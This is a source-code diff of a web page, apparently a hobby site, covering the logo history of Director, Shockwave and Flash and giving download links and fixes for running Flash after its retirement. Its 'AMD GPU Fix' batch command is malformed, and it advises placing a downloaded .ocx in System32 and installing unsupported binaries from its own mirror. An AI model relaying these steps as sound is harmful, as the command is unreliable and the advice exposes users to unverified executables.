-                <div id="d1993">
-                  <p> 1993 - 1994 </p>
-                  <p> Version 3.1.3 </p>
-                  <img src="/media/images/MacromediaDirector_3.1.3.webp" width="200" height="224" alt="1993-1994 | version 3.1.3">
+                <hr>
+                <div id="director">
+                  <h3 id="mdtitle"> Macromind Director </h3>
+                  <div id="d1989">
+                    <p> 1989 - 1990 </p>
+                    <p> Version 1 </p>
+                    <img src="/media/images/MacromindDirector_1.webp" width="200" height="137" alt="1989-1990 | version 1">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d1990">
+                    <p> 1990 - 1991 </p>
+                    <p> Version 2 </p>
+                    <img src="/media/images/MacromindDirector_2.webp" width="200" height="205" alt="1990-1991 | version 2">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d1991">
+                    <p> 1991 - 1992 </p>
+                    <p> Version 3 </p>
+                    <img src="/media/images/MacromindDirector_3.webp" width="200" height="223" alt="1991-1992 | version 3">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d1992">
+                    <p> 1992 - 1993 </p>
+                    <p> Version 3.1 </p>
+                    <img src="/media/images/Director31.webp" width="200" height="224" alt="1992-1993 | version 3.1">
+                  </div>
                 </div>
-                <br> <br> <br>
-                <div id="d1994">
-                  <p> 1994 - 1996 </p>
-                  <p> Version 4 </p>
-                  <img src="/media/images/Director4.webp" width="200" height="200" alt="1994-1996 | version 4 icon"> <br> <br>
-                  <img src="/media/images/Macromedia_Director_4banner.webp" width="200" height="118" alt="1994-1996 | version 4 banner">
+                <hr>
+                <div id="macromedia">
+                  <h3 id="matitle"> Macromedia Director </h3>
+                  <div id="d1993">
+                    <p> 1993 - 1994 </p>
+                    <p> Version 3.1.3 </p>
+                    <img src="/media/images/MacromediaDirector_3.1.3.webp" width="200" height="224" alt="1993-1994 | version 3.1.3">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d1994">
+                    <p> 1994 - 1996 </p>
+                    <p> Version 4 </p>
+                    <img src="/media/images/Director4.webp" width="200" height="200" alt="1994-1996 | version 4 icon"> <br> <br>
+                    <img src="/media/images/Macromedia_Director_4banner.webp" width="200" height="118" alt="1994-1996 | version 4 banner">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d1996">
+                    <p> 1996 - 1997 </p>
+                    <p> Version 5 </p>
+                    <img src="/media/images/Macromedia_Director_5_icon.webp" width="200" height="195" alt="1996-1997 | version 5 icon"> <br> <br>
+                    <img src="/media/images/Macromedia_Director_5banner.webp" width="200" height="123" alt="1996-1997 | version 5 banner">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d1997">
+                    <p> 1997 - 1998 </p>
+                    <p> Version 6 </p>
+                    <img src="/media/images/Macromedia_Director_6_icon.webp" width="200" height="180" alt="1997-1998 | version 6 banner"> <br> <br>
+                    <img src="/media/images/Macromedia_Director_6banner.webp" width="200" height="146" alt="1997-1998 | version 6 banner">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d1998">
+                    <p> 1998 - 2000 </p>
+                    <p> Version 7 </p>
+                    <img src="/media/images/Macromedia_Director_7_icon.webp" width="200" height="195" alt="1998-2000 | version 7 banner"> <br> <br>
+                    <img src="/media/images/Macromedia_Director_7banner.webp" width="200" height="107" alt="1998-2000 | version 7 banner">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d2000">
+                    <p> 2000 - 2001 </p>
+                    <p> Version 8 </p>
+                    <img src="/media/images/Macromedia_Director_8_icon.webp" width="200" height="195" alt="2000-2001 | version 8 banner"> <br> <br>
+                    <img src="/media/images/Macromedia_Director_8icon.webp" width="200" height="81" alt="2000-2001 | version 8 banner">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d2001">
+                    <p> 2001 - 2002 </p>
+                    <p> Version 8.5 </p>
+                    <img src="/media/images/Macromedia_Director_8.5.webp" width="200" height="55" alt="2001-2002 | version 8.5 banner">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d2002">
+                    <p> 2002 - 2007 </p>
+                    <p> Versions 9-10 </p>
+                    <img src="/media/images/Macromedia_Director_9-10.webp" width="200" height="200" alt="2002-2007 | versions 9-10 icon">
+                  </div>
                 </div>
-                <br> <br> <br>
-                <div id="d1996">
-                  <p> 1996 - 1997 </p>
-                  <p> Version 5 </p>
-                  <img src="/media/images/Macromedia_Director_5_icon.webp" width="200" height="195" alt="1996-1997 | version 5 icon"> <br> <br>
-                  <img src="/media/images/Macromedia_Director_5banner.webp" width="200" height="123" alt="1996-1997 | version 5 banner">
+                <hr>
+                <div id="adobe">
+                  <h3 id="aetitle"> Adobe Director </h3>
+                  <div id="d2007">
+                    <p> 2007 - 2008 </p>
+                    <p> Version 11 </p>
+                    <img src="/media/images/Adobe_Director_11.png" width="200" height="200" alt="2007-2008 | version 11 icon">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d2008">
+                    <p> 2008 - 2010 </p>
+                    <p> Version 11.5 </p>
+                    <img src="/media/images/Adobe_Director_11.5.webp" width="200" height="200" alt="2008-2010 | version 11.5 icon">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d2010">
+                    <p> 2010 - 2012 </p>
+                    <p> Version 12 </p>
+                    <img src="/media/images/Adobe_Di.svg.png" width="200" height="200" alt="2010-2012 | version 12 icon">
+                  </div>
+                </div>          
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="Adobe Shockwave" id="sw">
+          <Fragment slot="modal-content">
+            <figure class="figure">
+              <img src="/media/images/Shockwave.png" width="12.5%" style="min-width: 125px;" alt="Shockwave Logo" class="flash">
+              <figcaption class="figure-caption mt-1">Adobe Shockwave Logo</figcaption>
+            </figure>
+            <p> On this page, we will go over Adobe Shockwave.</p>
+            <h3> What is Adobe Shockwave </h3>
+            <p>Adobe Shockwave is mostly Adobe Director, however, it's a browser plug-in like Adobe Flash. It also supports DIR, DCR, DXR files. It can also help companies build multimedia apps. The latest version is 12.3.5.205 released on April 9th, 2019. Adobe discontinued Shockwave on the same day.</p>
+            <h3> How to use Adobe Shockwave after 2019 </h3>
+            <p>There's a <a href="/media/files/Shockwave_Installer_Full.exe" download>full version</a> and a <a href="/media/files/Shockwave_Installer_Slim.exe" download>slim version</a> you can install (recommended to have Windows Vista or 7). These versions are both 12.3.5.205. If you need older versions, <a href="http://www.oldversion.com/windows/adobe-shockwave/">click here</a>.  </p>
+          </Fragment>
+        </Modal>
+  
+        <Modal title="Adobe Shockwave Logo History" id="sl">
+          <Fragment slot="modal-content">
+            <Scrollspy id="sho-list"
+              scrollcontent={[
+              { name: "Macromedia Player", href: "#mptitle", additionalClasses: "fw-bolder" },
+              { name: "199? - 1995", href: "#s199u" },
+              { name: "Macromedia Shockwave", href: "#mstitle", additionalClasses: "fw-bolder" },
+              { name: "1995 - 1997", href: "#s1995" },
+              { name: "1997 - 2005", href: "#s1997" },
+              { name: "Adobe Shockwave", href: "#astitle", additionalClasses: "fw-bolder" },
+              { name: "2005 - 2011", href: "#s2005" },
+              { name: "2011 - 2013", href: "#s2011" },
+              { name: "2013 - 2015", href: "#s2013" },
+              { name: "2015 - Now", href: "#s2015" },
+              ]}      
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="player">
+                  <h3 id="mptitle"> Macromedia Player </h3>
+                  <div id="s199u">
+                    <p>199? - 1995</p>
+                    <img src="/media/images/Macromedia_Player.webp" width="207" height="77" alt="199?-1995">  
+                  </div>
                 </div>
-                <br> <br> <br>
-                <div id="d1997">
-                  <p> 1997 - 1998 </p>
-                  <p> Version 6 </p>
-                  <img src="/media/images/Macromedia_Director_6_icon.webp" width="200" height="180" alt="1997-1998 | version 6 banner"> <br> <br>
-                  <img src="/media/images/Macromedia_Director_6banner.webp" width="200" height="146" alt="1997-1998 | version 6 banner">
+                <hr>
+                <div id="shockwave">
+                  <h3 id="mstitle"> Macromedia Shockwave </h3>
+                  <div id="s1995">
+                    <p>1995 - 1997</p>
+                    <img src="/media/images/Macromedia_Shockwave.webp" width="200" height="200" alt="1995-1997">  
+                  </div>
+                  <br><br><br>
+                  <div id="s1997">
+                    <p>1997 - 2005</p>
+                    <img src="/media/images/Macromedia_Shockwave_Enabled.webp" width="200" height="200" alt="1997-2005">  
+                  </div>
                 </div>
-                <br> <br> <br>
-                <div id="d1998">
-                  <p> 1998 - 2000 </p>
-                  <p> Version 7 </p>
-                  <img src="/media/images/Macromedia_Director_7_icon.webp" width="200" height="195" alt="1998-2000 | version 7 banner"> <br> <br>
-                  <img src="/media/images/Macromedia_Director_7banner.webp" width="200" height="107" alt="1998-2000 | version 7 banner">
+                <hr>
+                <div id="adobeshockwave">
+                  <h3 id="astitle"> Adobe Shockwave </h3>
+                  <div id="s2005">
+                    <p>2005 - 2011</p>
+                    <img src="/media/images/Adobe_Shockwave.webp" width="200" height="116" alt="2005 - 2011">  
+                  </div>
+                  <br><br><br>
+                  <div id="s2011">
+                    <p>2011 - 2013</p>
+                    <img src="/media/images/2011-shock.webp" width="200" height="190" alt="2011-2013">  
+                  </div>
+                  <br><br><br>
+                  <div id="s2013">
+                    <p>2013 - 2015</p>
+                    <img src="/media/images/Flash_Shockwave.svg" width="200" height="200" alt="2013-2015">  
+                  </div>
+                  <br><br><br>
+                  <div id="s2015">
+                    <p>2015 - Now</p>
+                    <img src="/media/images/Shockwave.png" width="200px" height="195px" alt="2015-Now">  
+                  </div>
                 </div>
-                <br> <br> <br>
-                <div id="d2000">
-                  <p> 2000 - 2001 </p>
-                  <p> Version 8 </p>
-                  <img src="/media/images/Macromedia_Director_8_icon.webp" width="200" height="195" alt="2000-2001 | version 8 banner"> <br> <br>
-                  <img src="/media/images/Macromedia_Director_8icon.webp" width="200" height="81" alt="2000-2001 | version 8 banner">
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="Adobe Flash Logo History" id="fh">
+          <Fragment slot="modal-content">
+            <Scrollspy id="fla-list"
+            scrollcontent={[
+            { name: "1996 - 2002", href: "#f1996" },
+            { name: "2002 - 2006", href: "#f2002" },
+            { name: "2006 - 2008", href: "#f2006" },
+            { name: "2008 - 2010", href: "#f2008" },
+            { name: "2010 - 2013", href: "#f2010" },
+            { name: "2013 - 2015", href: "#f2013" },
+            { name: "2015 - 2020", href: "#f2015" },
+            ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="f1996">
+                  <p> 1996 - 2002 </p>
+                  <p> Versions 1 - 5 </p>
+                  <img src="/media/images/Macromedia_Flash_Player.png" width="200" height="200" alt="1996-2002 | versions 1-5"> <br> <br>
+                  <img src="/media/images/Logo_macromedia_flash_player_logo_1996-2002.jpg" alt="1996-2002 | versions 1-5 banner">
                 </div>
                 <br> <br> <br>
-                <div id="d2001">
-                  <p> 2001 - 2002 </p>
-                  <p> Version 8.5 </p>
-                  <img src="/media/images/Macromedia_Director_8.5.webp" width="200" height="55" alt="2001-2002 | version 8.5 banner">
+                <div id="f2002">
+                  <p> 2002 - 2006 </p>
+                  <p> Versions 6 - 8 </p>
+                  <img src="/media/images/Fl-player6.png" width="200" height="200" alt="2002-2006 | versions 6-8"> <br> <br>
+                  <img src="/media/images/Logo_macromedia_flash_player.jpg" width="107.34" height="120" alt="2002-2006 | versions 6-8 alt">
+                  <img src="/media/images/Logo_flash_player_mx_120x120.gif" alt="2002-2006 | versions 6-8 alt (gif)">
                 </div>
                 <br> <br> <br>
-                <div id="d2002">
-                  <p> 2002 - 2007 </p>
-                  <p> Versions 9-10 </p>
-                  <img src="/media/images/Macromedia_Director_9-10.webp" width="200" height="200" alt="2002-2007 | versions 9-10 icon">
-                </div>
-              </div>
-              <hr>
-              <div id="adobe">
-                <h4 id="aetitle"> Adobe Director </h4>
-                <div id="d2007">
-                  <p> 2007 - 2008 </p>
-                  <p> Version 11 </p>
-                  <img src="/media/images/Adobe_Director_11.png" width="200" height="200" alt="2007-2008 | version 11 icon">
+                  <div id="f2006">
+                  <p> 2006 - 2008 </p>
+                  <p> Versions 8.5 - 9 </p>
+                  <img src="/media/images/FlashPlayer_2006.png" width="200" height="200" alt="2006-2008 | versions 8.5-9">
                 </div>
                 <br> <br> <br>
-                <div id="d2008">
+                  <div id="f2008">
                   <p> 2008 - 2010 </p>
-                  <p> Version 11.5 </p>
-                  <img src="/media/images/Adobe_Director_11.5.webp" width="200" height="200" alt="2008-2010 | version 11.5 icon">
+                  <p> Version 10 </p>
+                  <img src="/media/images/Flash-10.png" width="200" height="200" alt="2008-2010 | versions 10">
                 </div>
                 <br> <br> <br>
-                <div id="d2010">
-                  <p> 2010 - 2012 </p>
-                  <p> Version 12 </p>
-                  <img src="/media/images/Adobe_Di.svg.png" width="200" height="200" alt="2010-2012 | version 12 icon">
-                </div>
-              </div>          
-            </Fragment>
-          </Scrollspy>
-        </Fragment>
-      </Modal>
-      <Modal title="Adobe Shockwave" id="sw">
-        <Fragment slot="modal-content">
-          <figure class="figure">
-            <img src="/media/images/Shockwave.png" width="12.5%" style="min-width: 125px;" alt="Shockwave Logo" class="flash">
-            <figcaption class="figure-caption mt-1">Adobe Shockwave Logo</figcaption>
-          </figure>
-          <p> On this page, we will go over Adobe Shockwave.</p>
-          <h3> What is Adobe Shockwave </h3>
-          <p>Adobe Shockwave is mostly Adobe Director, however, it's a browser plug-in like Adobe Flash. It also supports DIR, DCR, DXR files. It can also help companies build multimedia apps. The latest version is 12.3.5.205 released on April 9th, 2019. Adobe discontinued Shockwave on the same day.</p>
-          <h3> How to use Adobe Shockwave after 2019 </h3>
-          <p>There's a <a href="/media/files/Shockwave_Installer_Full.exe" download>full version</a> and a <a href="/media/files/Shockwave_Installer_Slim.exe" download>slim version</a> you can install (recommended to have Windows Vista or 7). These versions are both 12.3.5.205. If you need older versions, <a href="http://www.oldversion.com/windows/adobe-shockwave/">click here</a>.  </p>
-        </Fragment>
-      </Modal>
-
-      <Modal title="Adobe Shockwave Logo History" id="sl">
-        <Fragment slot="modal-content">
-          <Scrollspy id="sho-list"
-            scrollcontent={[
-            { name: "Macromedia Player", href: "#mptitle", additionalClasses: "fw-bolder" },
-            { name: "199? - 1995", href: "#s199u" },
-            { name: "Macromedia Shockwave", href: "#mstitle", additionalClasses: "fw-bolder" },
-            { name: "1995 - 1997", href: "#s1995" },
-            { name: "1997 - 2005", href: "#s1997" },
-            { name: "Adobe Shockwave", href: "#astitle", additionalClasses: "fw-bolder" },
-            { name: "2005 - 2011", href: "#s2005" },
-            { name: "2011 - 2013", href: "#s2011" },
-            { name: "2013 - 2015", href: "#s2013" },
-            { name: "2015 - Now", href: "#s2015" },
-            ]}      
-          >
-            <Fragment slot="scrollspy-content">
-              <div id="player">
-                <h4 id="mptitle"> Macromedia Player </h4>
-                <div id="s199u">
-                  <p>199? - 1995</p>
-                  <img src="/media/images/Macromedia_Player.webp" width="207" height="77" alt="199?-1995">  
-                </div>
-              </div>
-              <hr>
-              <div id="shockwave">
-                <h4 id="mstitle"> Macromedia Shockwave </h4>
-                <div id="s1995">
-                  <p>1995 - 1997</p>
-                  <img src="/media/images/Macromedia_Shockwave.webp" width="200" height="200" alt="1995-1997">  
-                </div>
-                <br><br><br>
-                <div id="s1997">
-                  <p>1997 - 2005</p>
-                  <img src="/media/images/Macromedia_Shockwave_Enabled.webp" width="200" height="200" alt="1997-2005">  
-                </div>
-              </div>
-              <hr>
-              <div id="adobeshockwave">
-                <h4 id="astitle"> Adobe Shockwave </h4>
-                <div id="s2005">
-                  <p>2005 - 2011</p>
-                  <img src="/media/images/Adobe_Shockwave.webp" width="200" height="116" alt="2005 - 2011">  
+                  <div id="f2010">
+                  <p> 2010 - 2013 </p>
+                  <p> Versions 11 - 11.9 </p>
+                  <img src="/media/images/Adobe_Flash_Player_SVG.png" width="200" height="200" alt="2010-2013 | versions 11-11.9">
                 </div>
-                <br><br><br>
-                <div id="s2011">
-                  <p>2011 - 2013</p>
-                  <img src="/media/images/2011-shock.webp" width="200" height="190" alt="2011-2013">  
+                <br> <br> <br>
+                  <div id="f2013">
+                  <p> 2013 - 2015 </p>
+                  <p> Versions 12 - 17 </p>
+                  <img src="/media/images/FlashPlayer_2013.png" width="200" height="200" alt="2013-2015 | versions 12-17">
                 </div>
-                <br><br><br>
-                <div id="s2013">
-                  <p>2013 - 2015</p>
-                  <img src="/media/images/Flash_Shockwave.svg" width="200" height="200" alt="2013-2015">  
+                <br> <br> <br>
+                  <div id="f2015">
+                  <p> 2015 - 2020 </p>
+                  <p> Versions 18 - 32; 50 (Enterprise) </p>
+                  <img src="/media/images/Adobe_Flash_Player_32.svg.png" width="200" height="200" alt="2015-2020 | versions 18-32; 50"> <br> <br>
+                  <img src="/media/images/Flash_box.png" alt="2015-2020 | versions 18-32; 50 installer"> <br>
+                  <sub>Installer</sub>
                 </div>
-                <br><br><br>
-                <div id="s2015">
-                  <p>2015 - Now</p>
-                  <img src="/media/images/Shockwave.png" width="200px" height="195px" alt="2015-Now">  
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="How to use Flash after 2021" id="ft">
+            <Fragment slot="modal-content">
+                <p>If you want to use Flash in a browser or an app, follow these instructions.</p>
+  
+                <h3>Browser Installation</h3>
+                <p>
+                    If there is Flash Player already installed, use the <a href="/media/files/uninstall_flash_player%20(Step%201).exe">Uninstaller for Windows</a>, otherwise use the <a href="/media/files/uninstall_flash_player.dmg">Uninstaller for Mac OS X - 10.6 or higher</a>, or the <a href="/media/files/uninstall_flash_player_osx_10.4.dmg">Uninstaller for Mac OS X - 10.4 & 10.5</a>.
+                </p>
+                <p>
+                    After that, run an installer from the table of installers depending on your device with the version you want. The versions suffixed with “pep” are PPAPI (WebKit and Blink), the ones with “ax” are ActiveX (Trident and EdgeHTML) and the ones without suffix are NPAPI (Gecko and Goanna). Follow the instructions on the installer that you chose. Reminder that most major browsers such as Google Chrome, FireFox, and many more, will no longer accept any flash version.
+                </p>
+                <p>
+                    Next, find a browser that allows Flash plug-ins, you can visit <a href="#br" data-bs-dismiss="modal" data-bs-toggle="modal" role="button">this page</a> to find some.
+                </p>
+  
+                <div class="d-flex flex-wrap row-cols-3">
+                    <div class="col">
+                        <p class="m-0 p-0"><b>Windows</b></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_win.exe" download>win</a></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_winpep.exe" download>winpep</a></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_winax.exe" download>winax</a></p>
+                    </div>
+                    <div class="col">
+                        <p class="m-0 p-0"><b>Macintosh</b></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_mac.dmg" download>mac</a></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_macpep.dmg" download>macpep</a></p>
+                    </div>
+                    <div class="col">
+                        <p class="m-0 p-0"><b>Linux i386</b></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linux.i386.tar.gz" download>linux</a></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linuxpep.i386.tar.gz" download>linuxpep</a></p>
+                    </div>
+                    <div class="col"></div>
+                    <div class="col">
+                        <p class="m-0 p-0"><b>Macintosh (pkg)</b></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_mac_pkg.dmg" download>mac</a></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_macpep_pkg.dmg" download>macpep</a></p>
+                    </div>
+                    <div class="col">
+                        <p class="m-0 p-0"><b>Linux x86_64</b></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linux.x86_64.tar.gz" download>linux</a></p>
+                        <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linuxpep.x86_64.tar.gz" download>linuxpep</a></p>
+                    </div>
                 </div>
-              </div>
+                
+                <h3>App/SWF Installation</h3>
+                <p>
+                    In the "SWF Installation", an <a href="/media/files/flashplayer_32_sa.exe">already installed app</a> is waiting for you. However, you'll need a SWF file (Shockwave Flash) to run. I left a <a href="/media/files/flash_cmpunk.swf">SWF game here</a> for you to try out.
+                </p>
+            </Fragment>
+        </Modal>
+        <Modal title="How to fix the &quot;missing Flash.ocx&quot; error after Windows 2000" id="oc">
+            <Fragment slot="modal-content">
+                <p>
+                    If you are having errors that say cannot create, or find <code>flash.ocx</code>, follow these steps.
+                </p>
+                <ol>
+                    <li>
+                        If you haven't installed Flash Player yet, please <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">click here</a>.
+                    </li>
+                    <li>
+                        Find in Windows Explorer: <code>C:\Windows\SysWOW64\Macromed\Flash</code>, and find the file <code>Flash.ocx</code> (may look different depending on which version flash is). If you can't find it, look in instead: <code>C:\Windows\System32\Macromed\Flash</code>, <code>System32</code>, or <code>SysWOW64</code>.
+                    </li>
+                    <li>
+                        If you still can't find <code>Flash.ocx</code> anywhere, you may have to <a href="/media/files/flash32_32_0_0_371.ocx">download it</a>, then put it in <code>C:\Windows\SysWOW64\Macromed\Flash</code>.
+                    </li>
+                    <li>
+                        Copy the file, then rename said copied file to <code>flash.ocx</code>, <b>DO NOT RENAME OR MOVE THE ORIGINAL FILE</b>, and paste it in both: <code>System32</code> and/or <code>SysWOW64</code>. [The <code>flash.ocx</code> file should look like <code>flashversion.ocx</code> (for example <code>flash9.ocx</code>)]
+                    </li>
+                </ol>
+                <p>Try the program, or screensaver, out now to see if it works.</p>
+            </Fragment>
+        </Modal>
+        <Modal title="AMD GPU Fix for Flash Player" id="am">
+            <Fragment slot="modal-content">
+                <p>Thanks to <a href="https://www.reddit.com/user/Djracem">Djracem on Reddit</a> for contributing to this page.</p>
+                <p>
+                    AMD adrenalin drivers 22.5.2, and later, are causing Flash to only display a colored background associated with the background of Flash Player. To not roll back pre-22.5.2, disable "Hardware Accel" on Macromed\Flash and on mms.cfg. Run, and make sure Command Prompt is run as administrator, and then copy the Batchfile code below.
+                    <br>
+                    <code>
+                        mkdir "%WINDIR% \SysWoW64\Macromed\Flash" <br>
+                        NUL & echo DisableHardwareAcceleration "WINDIR% \SysWoW64\Macromed\Flash\mms.cfg"
+                    </code>
+                </p>
             </Fragment>
-          </Scrollspy>
-        </Fragment>
-      </Modal>
-      <Modal title="Adobe Flash Logo History" id="fh">
-        <Fragment slot="modal-content">
-          <Scrollspy id="fla-list"
-          scrollcontent={[
-          { name: "1996 - 2002", href: "#f1996" },
-          { name: "2002 - 2006", href: "#f2002" },
-          { name: "2006 - 2008", href: "#f2006" },
-          { name: "2008 - 2010", href: "#f2008" },
-          { name: "2010 - 2013", href: "#f2010" },
-          { name: "2013 - 2015", href: "#f2013" },
-          { name: "2015 - 2020", href: "#f2015" },
-          ]}
-          >
-            <Fragment slot="scrollspy-content">
-              <div id="f1996">
-                <p> 1996 - 2002 </p>
-                <p> Versions 1 - 5 </p>
-                <img src="/media/images/Macromedia_Flash_Player.png" width="200" height="200" alt="1996-2002 | versions 1-5"> <br> <br>
-                <img src="/media/images/Logo_macromedia_flash_player_logo_1996-2002.jpg" alt="1996-2002 | versions 1-5 banner">
-              </div>
-              <br> <br> <br>
-              <div id="f2002">
-                <p> 2002 - 2006 </p>
-                <p> Versions 6 - 8 </p>
-                <img src="/media/images/Fl-player6.png" width="200" height="200" alt="2002-2006 | versions 6-8"> <br> <br>
-                <img src="/media/images/Logo_macromedia_flash_player.jpg" width="107.34" height="120" alt="2002-2006 | versions 6-8 alt">
-                <img src="/media/images/Logo_flash_player_mx_120x120.gif" alt="2002-2006 | versions 6-8 alt (gif)">
-              </div>
-              <br> <br> <br>
-                <div id="f2006">
-                <p> 2006 - 2008 </p>
-                <p> Versions 8.5 - 9 </p>
-                <img src="/media/images/FlashPlayer_2006.png" width="200" height="200" alt="2006-2008 | versions 8.5-9">
-              </div>
-              <br> <br> <br>
-                <div id="f2008">
-                <p> 2008 - 2010 </p>
-                <p> Version 10 </p>
-                <img src="/media/images/Flash-10.png" width="200" height="200" alt="2008-2010 | versions 10">
-              </div>
-              <br> <br> <br>
-                <div id="f2010">
-                <p> 2010 - 2013 </p>
-                <p> Versions 11 - 11.9 </p>
-                <img src="/media/images/Adobe_Flash_Player_SVG.png" width="200" height="200" alt="2010-2013 | versions 11-11.9">
-              </div>
-              <br> <br> <br>
-                <div id="f2013">
-                <p> 2013 - 2015 </p>
-                <p> Versions 12 - 17 </p>
-                <img src="/media/images/FlashPlayer_2013.png" width="200" height="200" alt="2013-2015 | versions 12-17">
-              </div>
-              <br> <br> <br>
-                <div id="f2015">
-                <p> 2015 - 2020 </p>
-                <p> Versions 18 - 32; 50 (Enterprise) </p>
-                <img src="/media/images/Adobe_Flash_Player_32.svg.png" width="200" height="200" alt="2015-2020 | versions 18-32; 50"> <br> <br>
-                <img src="/media/images/Flash_box.png" alt="2015-2020 | versions 18-32; 50 installer"> <br>
-                <sub>Installer</sub>
-              </div>
+        </Modal>
+        <Modal title="Browsers that support the Flash Player plug-in" id="br">
+            <Fragment slot="modal-content">
+                <p>
+                    To use <a href="#" data-bs-target="#ft" data-bs-toggle="modal" data-bs-dismiss="modal">a working version of Flash Player</a>, you would have to find browsers that support the Flash Player plug-in. But since the Flash shutdown of 2021, major browsers like Chrome, Edge, Firefox, and more do not support the flash player plug-in. You can see some of the browsers that support the plug-in here.
+                </p>
+                <a href="https://basilisk-browser.org/" target="_blank" rel="noopener noreferrer">Basilisk</a> <br>
+                <a href="https://www.waterfox.net/" target="_blank" rel="noopener noreferrer">Waterfox</a> <br>
+                <a href="https://www.palemoon.org/" target="_blank" rel="noopener noreferrer">Pale Moon</a> <br>
+                <a href="https://www.mypal-browser.org/" target="_blank" rel="noopener noreferrer">Mypal</a> <br>
+                <a href="http://kmeleonbrowser.org/" target="_blank" rel="noopener noreferrer">K-Meleon</a> <br>
+                <a href="https://www.opera.com/" target="_blank" rel="noopener noreferrer">Opera (Older versions 12.00 - 12.17)</a> <br>
             </Fragment>
-          </Scrollspy>
-        </Fragment>
-      </Modal>
-      <Modal title="How to use Flash after 2021" id="ft">
+        </Modal>
+        <Modal title="Flash Player for Android" id="ao">
           <Fragment slot="modal-content">
-              <p>If you want to use Flash in a browser or an app, follow these instructions.</p>
-
-              <h3>Browser Installation</h3>
-              <p>
-                  If there is Flash Player already installed, use the <a href="/media/files/uninstall_flash_player%20(Step%201).exe">Uninstaller for Windows</a>, otherwise use the <a href="/media/files/uninstall_flash_player.dmg">Uninstaller for Mac OS X - 10.6 or higher</a>, or the <a href="/media/files/uninstall_flash_player_osx_10.4.dmg">Uninstaller for Mac OS X - 10.4 & 10.5</a>.
-              </p>
-              <p>
-                  After that, run an installer from the table of installers depending on your device with the version you want. The versions suffixed with “pep” are PPAPI (WebKit and Blink), the ones with “ax” are ActiveX (Trident and EdgeHTML) and the ones without suffix are NPAPI (Gecko and Goanna). Follow the instructions on the installer that you chose. Reminder that most major browsers such as Google Chrome, FireFox, and many more, will no longer accept any flash version.
-              </p>
-              <p>
-                  Next, find a browser that allows Flash plug-ins, you can visit <a href="#br" data-bs-dismiss="modal" data-bs-toggle="modal" role="button">this page</a> to find some.
-              </p>
-
-              <div class="d-flex flex-wrap row-cols-3">
-                  <div class="col">
-                      <p class="m-0 p-0"><b>Windows</b></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_win.exe" download>win</a></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_winpep.exe" download>winpep</a></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_winax.exe" download>winax</a></p>
-                  </div>
-                  <div class="col">
-                      <p class="m-0 p-0"><b>Macintosh</b></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_mac.dmg" download>mac</a></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_macpep.dmg" download>macpep</a></p>
-                  </div>
-                  <div class="col">
-                      <p class="m-0 p-0"><b>Linux i386</b></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linux.i386.tar.gz" download>linux</a></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linuxpep.i386.tar.gz" download>linuxpep</a></p>
-                  </div>
-                  <div class="col"></div>
-                  <div class="col">
-                      <p class="m-0 p-0"><b>Macintosh (pkg)</b></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_mac_pkg.dmg" download>mac</a></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_macpep_pkg.dmg" download>macpep</a></p>
-                  </div>
-                  <div class="col">
-                      <p class="m-0 p-0"><b>Linux x86_64</b></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linux.x86_64.tar.gz" download>linux</a></p>
-                      <p class="m-0 p-0"><a href="/media/files/flashplayer32_0r0_371_linuxpep.x86_64.tar.gz" download>linuxpep</a></p>
-                  </div>
-              </div>
-              
-              <h3>App/SWF Installation</h3>
-              <p>
-                  In the "SWF Installation", an <a href="/media/files/flashplayer_32_sa.exe">already installed app</a> is waiting for you. However, you'll need a SWF file (Shockwave Flash) to run. I left a <a href="/media/files/flash_cmpunk.swf">SWF game here</a> for you to try out.
-              </p>
+              <p>Adobe AIR and Adobe Flash Player for Android are no longer supported. You can download them using these APK files and make it work in 2022.</p>
+              <a href="/media/files/com.adobe.flashplayer-11.1.115.81-11111508.apk" download>Adobe Flash Player for Android (v11)</a> <br>
+              <a href="/media/files/com.adobe.air.apk" download>Adobe AIR</a>
           </Fragment>
-      </Modal>
-      <Modal title="How to fix the &quot;missing Flash.ocx&quot; error after Windows 2000" id="oc">
+        </Modal>
+        <Modal title="Tools for Flash Player" id="tf">
